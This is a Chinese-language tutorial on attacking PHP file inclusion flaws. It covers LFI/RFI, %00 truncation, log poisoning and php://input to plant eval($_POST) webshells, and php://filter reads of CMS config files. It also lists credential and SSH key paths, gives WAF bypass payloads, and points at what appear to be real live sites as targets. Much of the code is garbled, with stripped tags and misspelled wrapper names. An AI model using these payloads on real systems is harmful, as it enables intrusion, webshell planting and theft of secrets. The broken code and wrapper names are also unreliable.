程序开发人员一般会把重复使用的函数写到一个单个文件中,在需要使用某个函数的时候直接调用此文件,二无需再次编写,这种文件调用的过程一般被称为文件包含。开发人员为使代码变得更灵活,将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,导致客户端可以嗲用一个恶意文件,造成文件包含漏洞。几乎所有的脚本语言都会提供文件包含的功能,单文件包含漏洞在PHP web application中居多,而在JSP,ASP,ASP.NET程序中却非常少见,甚至不存在,在PHP中经常出现(多存在与美国的站点),但不能代表其他语言中没有的。“包含”这个过程在语言中都有,但漏洞在PHP中居多。程序用
include():执行include时才包含文件,找不到文件的时候只会产生警告,脚本会继续运行;
require():只要程序一运行就包含文件,找不到文件的时候会产生致命的错误,并停止脚本;
include_once()和require_once():若文件中代码已被包含则不会再次包含。
(可以用包含隐藏后门,绕过拦截WAF)
1、本地文件包含:可以包含本地文件,在条件允许的时候甚至能执行代码
上传图片马,然后包含;
读取敏感文件,读php文件;
包含日志文件getshell;
包含/proc/self/envion文件getshell;
包含data:或php://input等伪协议;
若有phpinfo则可以包含临时文件。
2、远程文件包含:可以直接执行任意代码
要保证php.ini(配置文件)allow_url_fopen和allow_url_include为on
白盒代码审计
黑盒工具挖掘:awvs appscan burp w3af
手工:找带“.”的文件 找系统中自带的文件
文件包含漏洞利用的条件
1、include()等函数通过动态变量的方法引入需要包含的文
2、用户能控制动态变量
保存为include.php
在同一目录下创建1.txt 内容为:
访问:http://www.xxx.com/test/include.php?c=1.txt
include.php也可以写成
…/…/…/etc/passwd
include "$_GET['x'].".php";
echo "$_GET['x'].".php";
?>
这些代码会在后面附加.php 直接将被包含的文件默认文php文件进行搜索,但是我们存储的是a.txt,他搜索的是a.txt.php,此时就搜不到文件,就会报错
magic_quotes_gps=off才可以,否则%00会被转义
此时访问http://127.0.0.1/bao.php?c=a.txt.php
但目录下并没有这个文件,此时就无法读取我们要读的文件
解决方法:加%00截断
http://127.0.0.1/bao.phpc=a.txt%00
上传图片马,马包含的代码为
fputs(fopen("shell.php","w")),"")
?>
上传后图片路径为/uploadfile/x.jpg
当访问http://www.xx.com/xx.php?page=uploadfile/x.jpg时
将会在fi文件夹下生成shell.php,内容为
Windows下:
c:\boot.ini 产看系统版本
c:\Windows\System32\inetsrv\MetaBase.xml IIS配置文件
c:\Windows\repair\sam 存储系统初次安装的密码
c:\Program Files\mysql\my.ini MySQL配置
c:\Program Files\mysql\data\mysql\nser.MYD MySQL root
c:\Windows\php.ini PHP配置信息
c:\Windows\my.ini MySQL配置信息
linux下
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
root/.ssh/id_ras.keystore
root/.ssh/known_hosts
/etc/shadow
/etc/passwd
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.bash_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/proc/config.gz
Linux访问日志路径:/var/log/httpd/access_log 主要存储的是访问者的IP;访问的页面;
user-agent 读取日志路径
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
默认日志位置/var/log/httpd/access_log
错误日志位置/var/log/httpd/error_log
可以在访问的时候将一句话加载后面,就会将一句话记录在日志文件中
index.php?id=1
读取:
index.php?file=…/…/…/…/var/log/httpd/access_log
日志会记录客户端请求及服务器响应的信息
访问http://www.xx.com/时,后面的代码也会记录在日志中,也可以直接插到user-agent,也可以通过burp饶过编码
制造错误,写入一句话
http://127.0.0.1/ekucms2.5/index.php?s=my/show/id/{~eval($_POST[x])}
这样会在网站的以下路径中的log文件中生成日志,该日志中就会将我们的一句话写在里面。
利用文件包含漏洞来包含这个日志文件
已知日志文件在ekucms2.5\temp\logs\20_03_05.log
http://127.0.0.1/ekucms2.5/index.php?s=my/show/id/\..\temp\logs\20_03_05.log
直接包含PHP文件时会被解析执行,不能查看到源码,可以用封装协议读取:
?page=php://filer/read=convert.base64-encode/recource=config.php
访问该URL后会返回config.php中经过base64加密后的字符串,解密后就是文件的源码。
allow_url_include=on时,若执行http://www.xx.com/index.php?page=php://input,并且提交数据")?>
结果将在index.php所有文件下生成一句话文件shell.php
远程包含的文件名不能为php可解析的扩展名;
allow_url_fopen和allow_url_include为on(在php.ini中)
若在a.txt中写入php @eval($_POST[x];?>")?>,直接写shell
PHP提供了一些杂项输入/输出(IO)流,允许访问PHP的输入输出流,标准输入输出和错误描述符,内存中,磁盘备份时临时文件流以及可以操作其他读取写入文件资源的过滤器
可以访问请求的原始数据的只读流,POST请求的情况因为它不依赖于特定的php.ini指令,而且,这样的情况下$HTTP_RAW_POST_DATA默认没有填充比激活always_populate_raw_post_data潜在需要更少的内存
enctype="multipart/from-data"的时候php://input是无效的
利用php://input写入一句话木马
//$data=file_get_contents('php://onput');
//echo $data."
";
@eval(file_get_contents('php://input'));
?>
php://input是用来接收post数据
在post下插入数据
将文件包含漏洞变成代码执行漏洞并绕过360网站卫士的waf
在实施时,文件包含漏洞在读取php文件时,是不能显示文件源码的,在很多情况下,我们需要读取php格式的配置文件,例如:
dedecms数据库配置文件data/common.inc.php
discuz全局配置文件config/config_global.php
phpcms配置文件caches/configs/database.php
phpwind配置文件config/database.php
wordpress配置文件FileInclude.php
然后将攻击代码转换为data:url
data:text/plain,
注意:转化偶的GET请求的参数中包含
data:text/plain;base54,[攻击代码的base64 编码]
读取PHP文件源码内容
用法:
php://filter/read=convert.base64-encode/resource=[文件路径]
将得到base64的数据解码得出PHP文件内容
eval()
assert()
上述两个是把接受到的字符串当做代码来执行
`` 这个是反引号
system()
exec()
shell_exec()
passthru()
escapeshellcmd()
pcntl_exec()
上述的都是命令执行函数,执行系统命令
可以进行如下访问
http://127.0.0.1/bao.phpx=phpinfo();
http://127.0.0.1/bao.phpx=system(ipconfig);
http://127.0.0.1/bao.phpx=system(whoami);
过WAF语句:
或
http://127.0.0.1/bao.php?b=eval&a=phpinfo()
http://127.0.0.1/bao.php?b=assert&a=phpinfo()
$a=$_GET[a];
$b=$_GET[b];
$a($b);
?>
访问 http://127.0.0.1/x.php?a=system&b=ipconfig
www.77.dvd.com
www.bgdy.com/search.php?searchtype=5&tid=&area=phpinfo()
百度 海洋cms漏洞
变量如果未初始化,且能被用户所控制
在PHP中若register_globals为on是尤其严重
此为全局变量覆盖漏洞
当register_golbal=on时,变量来源可能是各个不同的地方
比如页面表单,cookie等
$auth='0'
extract($_GET);
if($auth==1)
{
echo"登录成功";
}else
{
echo "未登录,请重新登陆";
}
?>
织梦CMS的网站这一类漏洞较多